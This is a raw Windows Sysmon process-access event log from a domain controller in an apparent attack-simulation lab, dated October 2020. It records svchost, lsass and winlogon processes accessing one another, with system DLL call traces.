09:10:02.949{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+796b|c:\windows\system32\lsm.dll+396a|c:\windows\system32\SYSNTFY.dll+1fc3|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+599c8|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002539Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.949{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|c:\windows\system32\SYSNTFY.dll+1ad9|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002538Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.949{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\SYSNTFY.dll+1ad9|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002537Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.933{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002536Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.933{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002535Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.933{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002534Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.824{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002533Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.824{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002532Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.824{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002531Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.824{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002530Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.824{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002529Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.824{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002528Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.777{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002527Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.777{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002526Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.777{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002525Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002524Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002523Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002522Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002521Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002520Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002519Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96fe2|C:\Windows\system32\kerberos.DLL+794d4|C:\Windows\system32\kerberos.DLL+144c9|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+2c2c4|C:\Windows\system32\lsasrv.dll+31375|C:\Windows\system32\lsasrv.dll+2f20b|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+16cdd|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x80000000000000002518Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96fe2|C:\Windows\system32\kerberos.DLL+794d4|C:\Windows\system32\kerberos.DLL+144c9|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+2c2c4|C:\Windows\system32\lsasrv.dll+31375|C:\Windows\system32\lsasrv.dll+2f20b|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+16cdd|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x80000000000000002517Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002516Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.761{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.D